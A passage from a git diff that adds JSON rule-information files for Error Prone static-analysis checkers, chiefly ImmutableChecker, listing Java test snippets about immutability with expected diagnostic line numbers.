Objects.requireNonNull(Test.this);\n }\n\n public Class annotationType() {\n return Deprecated.class;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n };\n }\n }" + }, + { + "description": "anonymousReferencesEnum", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "import java.lang.annotation.Annotation;\n import java.util.Objects;\n import com.google.common.collect.ImmutableSet;\n\n enum Test {\n ;\n\n {\n new Deprecated() {\n {\n Objects.requireNonNull(Test.this);\n }\n\n public Class annotationType() {\n return Deprecated.class;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n };\n }\n }" + }, + { + "description": "anonymousCapturesLocal", + "expected-problems": null, + "expected-linenumbers": [ + 303 + ], + "code": "" + }, + { + "description": "otherAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "import java.lang.annotation.Annotation;\n import java.util.Objects;\n import com.google.common.collect.ImmutableSet;\n\n class Test {\n @SuppressWarnings(\"Immutable\")\n class A implements Annotation {\n private int i = 0;\n\n public int count() {\n return i++;\n }\n\n public Class annotationType() {\n return Deprecated.class;\n }\n }\n\n class B implements Annotation {\n final A a = null;\n\n public Class annotationType() {\n return Deprecated.class;\n }\n }\n }" + }, + { + "description": "annotationSuper", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "import java.lang.annotation.Annotation;\n import java.util.Objects;\n import com.google.common.collect.ImmutableSet;\n\n class Test {\n class MyAnno implements Annotation {\n public Class annotationType() {\n return Deprecated.class;\n }\n }\n\n {\n new MyAnno() {};\n }\n }" + }, + { + "description": "jucImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 394 + ], + "code": "import javax.annotation.concurrent.Immutable;\n\n @Immutable\n class Lib {}\n \n\nimport java.lang.annotation.Annotation;\n\nclass MyAnno implements Annotation {\n // BUG: Diagnostic contains: not annotated with @com.google.errorprone.annotations.Immutable\n final Lib l = new Lib();\n\n public Class annotationType() {\n return Deprecated.class;\n }\n}" + }, + { + "description": "generated", + "expected-problems": null, + "expected-linenumbers": [ + 422 + ], + "code": "import java.lang.annotation.Annotation;\n import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoAnnotationProcessor\")\n class Test implements Deprecated {\n public Class annotationType() {\n return Deprecated.class;\n }\n\n int x;\n\n private Test(int x) {\n this.x = x;\n }\n\n public boolean forRemoval() {\n return false;\n }\n\n public String since() {\n return \"\";\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableChecker.json new file mode 100644 index 0000000..4b0db3d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/threadsafety/ImmutableChecker.json @@ -0,0 +1,1414 @@ +{ + "name": "ImmutableChecker", + "language": "java", + "description": "Type declaration annotated with @Immutable is not immutable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 529, + "branches": 56, + "apis": 6, + "test": [ + { + "description": "basicFields", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test {\n final int a = 42;\n final String b = null;\n final java.lang.String c = null;\n final com.google.common.collect.ImmutableList d = null;\n final ImmutableList e = null;\n final Deprecated dep = null;\n final Class clazz = Class.class;\n }" + }, + { + "description": "interfacesMutableByDefault", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: 'I' is not annotated with\n // @com.google.errorprone.annotations.Immutable\n private final I i = new I() {};\n }" + }, + { + "description": "annotationsAreImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n @interface Test {}" + }, + { + "description": "customAnnotationsMightBeMutable", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n @interface Test {}\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.lang.annotation.Annotation;\n\n @Immutable\n final class MyTest implements Test {\n // BUG: Diagnostic contains: non-final\n public Object[] xs = {};\n\n public Class annotationType() {\n return null;\n }\n }" + }, + { + "description": "customImplementionsOfImplicitlyImmutableAnnotationsMustBeImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "import java.lang.annotation.Annotation;\n\n final class MyAnno implements Anno {\n // BUG: Diagnostic contains:\n public Object[] xs = {};\n\n public Class annotationType() {\n return null;\n }\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n private final Anno anno = new MyAnno();\n }" + }, + { + "description": "customAnnotationsSubtype", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n @interface Test {}\n \n\n import java.lang.annotation.Annotation;\n\n final class MyTest implements Test {\n // BUG: Diagnostic contains: non-final field 'xs'\n public Object[] xs = {};\n\n public Class annotationType() {\n return null;\n }\n }" + }, + { + "description": "annotationsDefaultToImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "import javax.lang.model.element.ElementKind;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n private final Override override = null;\n }" + }, + { + "description": "enumsDefaultToImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "import javax.lang.model.element.ElementKind;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n private final ElementKind ek = null;\n }" + }, + { + "description": "enumsMayBeImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Kind {\n A,\n B,\n C;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n private final Kind k = null;\n }" + }, + { + "description": "mutableArray", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final int[] xs = {42};\n }" + }, + { + "description": "annotatedImmutableInterfaces", + "expected-problems": null, + "expected-linenumbers": [ + 262 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface Test {}" + }, + { + "description": "immutableInterfaceField", + "expected-problems": null, + "expected-linenumbers": [ + 276 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface MyInterface {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final MyInterface i = null;\n }" + }, + { + "description": "deeplyImmutableArguments", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test {\n final ImmutableList>> l = null;\n }" + }, + { + "description": "mutableNonFinalField", + "expected-problems": null, + "expected-linenumbers": [ + 317 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: non-final\n int a = 42;\n }" + }, + { + "description": "ignoreStaticFields", + "expected-problems": null, + "expected-linenumbers": [ + 334 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n static int a = 42;\n }" + }, + { + "description": "mutableField", + "expected-problems": null, + "expected-linenumbers": [ + 350 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.Map;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final Map a = null;\n }" + }, + { + "description": "deeplyMutableTypeArguments", + "expected-problems": null, + "expected-linenumbers": [ + 368 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.Map;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: instantiated with mutable type for 'E'\n final ImmutableList>>> l = null;\n }" + }, + { + "description": "rawImpliesImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final ImmutableList l = null;\n }" + }, + { + "description": "extendsImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 405 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n public class Super {\n public final int x = 42;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test extends Super {}" + }, + { + "description": "extendsMutable", + "expected-problems": null, + "expected-linenumbers": [ + 429 + ], + "code": "public class Super {\n public int x = 42;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n // BUG: Diagnostic contains: 'Super' has non-final field 'x'\n class Test extends Super {}" + }, + { + "description": "extendsImmutableAnnotated_substBounds", + "expected-problems": null, + "expected-linenumbers": [ + 451 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n public class SuperMost {\n public final B x = null;\n }\n \n\n import java.util.List;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"A\"})\n public class Super extends SuperMost {\n public final int x = 42;\n }" + }, + { + "description": "extendsImmutableAnnotated_mutableBounds", + "expected-problems": null, + "expected-linenumbers": [ + 477 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"A\"})\n public class SuperMost {\n public final A x = null;\n }\n \n\n import java.util.List;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n // BUG: Diagnostic contains: instantiated with mutable type for 'A'\n public class SubClass extends SuperMost> {}" + }, + { + "description": "withinMutableClass", + "expected-problems": null, + "expected-linenumbers": [ + 503 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.ArrayList;\n import java.util.List;\n\n class A {\n List xs = new ArrayList<>();\n\n @Immutable\n // BUG: Diagnostic contains: has mutable enclosing instance\n class B {\n int get() {\n return xs.get(0);\n }\n }\n }" + }, + { + "description": "localClassCapturingMutableState", + "expected-problems": null, + "expected-linenumbers": [ + 528 + ], + "code": "import com.google.errorprone.annotations.Immutable;\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Immutable\nclass A {\n @Immutable\n interface B {\n int get();\n }\n\n void test() {\n List xs = new ArrayList<>();\n @Immutable\n // BUG: Diagnostic contains: This anonymous class implements @Immutable interface 'B', but\n // closes over 'xs', which is not @Immutable because 'List' is mutable\n class C implements B {\n @Override\n public int get() {\n return xs.get(0);\n }\n }\n }\n}" + }, + { + "description": "typeParameterWithImmutableBound", + "expected-problems": null, + "expected-linenumbers": [ + 562 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable(containerOf = \"T\")\n class Test> {\n final T t = null;\n }" + }, + { + "description": "immutableTypeArgumentInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 579 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class Holder {\n public final T t = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final Holder h = null;\n }" + }, + { + "description": "mutableTypeArgumentInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 605 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n public class Holder {\n public final T t = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final Holder h = null;\n }" + }, + { + "description": "instantiationWithMutableType", + "expected-problems": null, + "expected-linenumbers": [ + 631 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n public class Holder {\n public final T t = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: not annotated\n final Holder h = null;\n }" + }, + { + "description": "transitiveSuperSubstitutionImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 657 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"N\")\n public class SuperMostType {\n public final N f = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"M\")\n public class MiddleClass extends SuperMostType {\n // Empty\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test extends MiddleClass {\n final MiddleClass f = null;\n }" + }, + { + "description": "containerOf_extendsImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 694 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class X {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n // BUG: Diagnostic contains: 'V' is a mutable type variable\n @Immutable(containerOf = \"V\")\n class Test extends X {\n private final V t = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class MutableLeak {\n private static class Mutable {\n int mutableInt;\n }\n\n private final X bad = new Test();\n }" + }, + { + "description": "containerOf_mutableInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 733 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"V\")\n class X {\n private final V t = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n // 'X' was instantiated with mutable type for 'V'\n // 'T' is a mutable type variable\n private final X t = null;\n }" + }, + { + "description": "missingContainerOf", + "expected-problems": null, + "expected-linenumbers": [ + 762 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: 'T' is a mutable type variable\n private final T t = null;\n }" + }, + { + "description": "transitiveSuperSubstitutionMutable", + "expected-problems": null, + "expected-linenumbers": [ + 780 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"N\")\n public class SuperMostType {\n public final N f = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"M\")\n public class MiddleClass extends SuperMostType {\n // Empty\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n // BUG: Diagnostic contains: instantiated with mutable type for 'M'\n class Test extends MiddleClass {}" + }, + { + "description": "immutableInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 816 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 844 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final X x = null;\n }" + }, + { + "description": "immutableInstantiation_superBound", + "expected-problems": null, + "expected-linenumbers": [ + 870 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation_superBound", + "expected-problems": null, + "expected-linenumbers": [ + 897 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: is not annotated\n final X x = null;\n }" + }, + { + "description": "immutableInstantiation_extendsBound", + "expected-problems": null, + "expected-linenumbers": [ + 924 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation_wildcard", + "expected-problems": null, + "expected-linenumbers": [ + 952 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n // BUG: Diagnostic contains: mutable type for 'E', 'Object' is mutable\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n final X x = null;\n }" + }, + { + "description": "mutableInstantiation_extendsBound", + "expected-problems": null, + "expected-linenumbers": [ + 981 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.common.collect.ImmutableList;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n import java.util.List;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: instantiated with mutable type\n final X x = null;\n }" + }, + { + "description": "containerOf_noSuchType", + "expected-problems": null, + "expected-linenumbers": [ + 1010 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"Z\")\n // BUG: Diagnostic contains: could not find type(s) referenced by containerOf: Z\n public class X {\n final int xs = 1;\n }" + }, + { + "description": "immutableInstantiation_inferredImmutableType", + "expected-problems": null, + "expected-linenumbers": [ + 1027 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final T xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class Y {\n final X xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final Y x = null;\n }" + }, + { + "description": "mutableInstantiation_inferredImmutableType", + "expected-problems": null, + "expected-linenumbers": [ + 1063 + ], + "code": "public class X {\n final T xs = null;\n }\n \n\n public class Y {\n final X xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains:\n final Y x = null;\n }" + }, + { + "description": "mutableWildInstantiation", + "expected-problems": null, + "expected-linenumbers": [ + 1094 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: instantiated\n final X x = null;\n }" + }, + { + "description": "mutableWildcardInstantiation_immutableTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 1122 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n import com.google.errorprone.annotations.ImmutableTypeParameter;\n\n @Immutable\n class A<@ImmutableTypeParameter T> {}\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class B {\n private final A a;\n\n public B(A a) {\n this.a = a;\n }\n }" + }, + { + "description": "mutableRawType", + "expected-problems": null, + "expected-linenumbers": [ + 1151 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public class X {\n final ImmutableList xs = null;\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: raw\n final X x = null;\n }" + }, + { + "description": "immutableListImplementation", + "expected-problems": null, + "expected-linenumbers": [ + 1179 + ], + "code": "package com.google.common.collect;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class ImmutableList {\n public Object[] veryMutable = null;\n }" + }, + { + "description": "positiveAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 1197 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n {\n new Super() {\n // BUG: Diagnostic contains: non-final\n int x = 0;\n\n {\n x++;\n }\n };\n }\n }" + }, + { + "description": "positiveAnonymousInterface", + "expected-problems": null, + "expected-linenumbers": [ + 1233 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n {\n new Super() {\n // BUG: Diagnostic contains: non-final\n int x = 0;\n\n {\n x++;\n }\n };\n }\n }" + }, + { + "description": "negativeParametricAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 1269 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class Super {\n private final T t = null;\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n static Super get() {\n return new Super() {};\n }\n }" + }, + { + "description": "interface_containerOf_immutable", + "expected-problems": null, + "expected-linenumbers": [ + 1300 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public interface MyList {\n T get(int i);\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n public class Test {\n private final MyList l = null;\n }" + }, + { + "description": "interface_containerOf_mutable", + "expected-problems": null, + "expected-linenumbers": [ + 1325 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public interface MyList {\n T get(int i);\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n public class Test {\n // BUG: Diagnostic contains: mutable type for 'T'\n private final MyList l = null;\n }" + }, + { + "description": "implementsInterface_containerOf", + "expected-problems": null, + "expected-linenumbers": [ + 1352 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n public interface MyList {\n T get(int i);\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n // BUG: Diagnostic contains: 'X' is a mutable type\n public class Test implements MyList {\n public X get(int i) {\n return null;\n }\n }" + }, + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 1383 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Super {}\n \n\npackage threadsafety;\n\nclass Test extends Super {\n // BUG: Diagnostic contains: Class extends @Immutable type threadsafety.Super, but is not\n // immutable: 'Test' has non-final field 'x'\n public int x = 0;\n}" + }, + { + "description": "positiveContainerOf", + "expected-problems": null, + "expected-linenumbers": [ + 1410 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"T\"})\n class Super {}\n \n\n package threadsafety;\n\n class Test extends Super {\n // BUG: Diagnostic contains: non-final\n public int x = 0;\n }" + }, + { + "description": "positiveImplicitContainerOf", + "expected-problems": null, + "expected-linenumbers": [ + 1436 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = {\"T\"})\n class Super {}\n \n\n package threadsafety;\n\n class Test extends Super {\n // BUG: Diagnostic contains: mutable type for 'U'\n public final Test x = null;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 1462 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test extends Super {}" + }, + { + "description": "transitive", + "expected-problems": null, + "expected-linenumbers": [ + 1490 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface I {}\n \n\n package threadsafety;\n\n class Test implements J {\n // BUG: Diagnostic contains: non-final field 'x'\n public int x = 0;\n }\n \n\n package threadsafety;\n\n interface J extends I {}" + }, + { + "description": "negativeAnonymousMutableBound", + "expected-problems": null, + "expected-linenumbers": [ + 1524 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class Super {\n private final T t = null;\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n {\n new Super() {};\n }\n }" + }, + { + "description": "immutableAnonymousTypeScope", + "expected-problems": null, + "expected-linenumbers": [ + 1555 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"X\")\n class Super {\n private final X t = null;\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class Test {\n {\n new Super() {};\n }\n }" + }, + { + "description": "immutableClassSuperTypeScope", + "expected-problems": null, + "expected-linenumbers": [ + 1587 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"Y\")\n class Super {\n @Immutable(containerOf = \"X\")\n class Inner1 {\n private final X x = null;\n private final Y y = null;\n }\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"U\")\n class Test extends Super {\n @Immutable\n class Inner2 extends Inner1 {}\n }" + }, + { + "description": "immutableClassTypeScope", + "expected-problems": null, + "expected-linenumbers": [ + 1622 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"X\")\n class Super {\n private final X t = null;\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class Test {\n @Immutable\n class Inner extends Super {}\n }" + }, + { + "description": "negativeAnonymousBound", + "expected-problems": null, + "expected-linenumbers": [ + 1653 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable(containerOf = \"T\")\n class Super {\n private final T t = null;\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n {\n new Super() {};\n }\n }" + }, + { + "description": "negativeAnonymous", + "expected-problems": null, + "expected-linenumbers": [ + 1684 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Super {}\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n class Test {\n {\n new Super() {};\n }\n }" + }, + { + "description": "positiveEnumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 1713 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface Super {\n int f();\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Test implements Super {\n INSTANCE {\n // BUG: Diagnostic contains: non-final\n public int x = 0;\n\n public int f() {\n return x++;\n }\n }\n }" + }, + { + "description": "negativeEnumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 1750 + ], + "code": "package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n interface Super {\n void f();\n }\n \n\n package threadsafety;\n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n enum Test implements Super {\n INSTANCE {\n public void f() {}\n }\n }" + }, + { + "description": "immutableNull", + "expected-problems": null, + "expected-linenumbers": [ + 1788 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n final int[] xs = null;\n }" + }, + { + "description": "suppressOnField", + "expected-problems": null, + "expected-linenumbers": [ + 1804 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n @SuppressWarnings(\"Immutable\")\n final int[] xs = {1};\n }" + }, + { + "description": "suppressOnOneField", + "expected-problems": null, + "expected-linenumbers": [ + 1821 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n @SuppressWarnings(\"Immutable\")\n final int[] xs = {1};\n\n // BUG: Diagnostic contains: arrays are mutable\n final int[] ys = {1};\n }" + }, + { + "description": "twoFieldsInSource", + "expected-problems": null, + "expected-linenumbers": [ + 1841 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: arrays are mutable\n final int[] xs = {1};\n // BUG: Diagnostic contains: arrays are mutable\n final int[] ys = {1};\n }" + }, + { + "description": "protosNotOnClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 1860 + ], + "code": "package com.google.errorprone.annotations;\n\n import static java.lang.annotation.ElementType.TYPE;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n\n @Target(TYPE)\n @Retention(RUNTIME)\n public @interface Immutable {\n String[] containerOf() default {};\n }\n \n\n import com.google.errorprone.annotations.Immutable;\n\n @Immutable\n class Test {\n // BUG: Diagnostic contains: 'Foo' is not annotated with\n // @com.google.errorprone.annotations.Immutable\n final Foo f = null;\n }" + }, + { + "description": "mutableEnum", + "expected-problems": null, + "expected-linenumbers": [ + 1897 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n enum Test {\n ;\n // BUG: Diagnostic contains: @Immutable class has mutable field\n private final Object o = null;\n }" + }, + { + "description": "mutableEnumMember", + "expected-problems": null, + "expected-linenumbers": [ + 1915 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n enum Test {\n ONE {\n // BUG: Diagnostic contains: @Immutable class has mutable field\n private final Object o = null;\n }\n }" + }, + { + "description": "mutableExtendsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 1934 + ], + "code": "abstract class Test implements Anno {\n // BUG: Diagnostic contains: @Immutable class has mutable field\n final Object o = null;\n }" + }, + { + "description": "mutableEnclosing", + "expected-problems": null, + "expected-linenumbers": [ + 1951 + ], + "code": "import com.google.errorprone.annotations.Immutable;\n\n public class Test {\n int x = 0;\n\n @Immutable\n // BUG: Diagnostic contains: 'Inner' has mutable enclosing instance 'Test'\n public class Inner 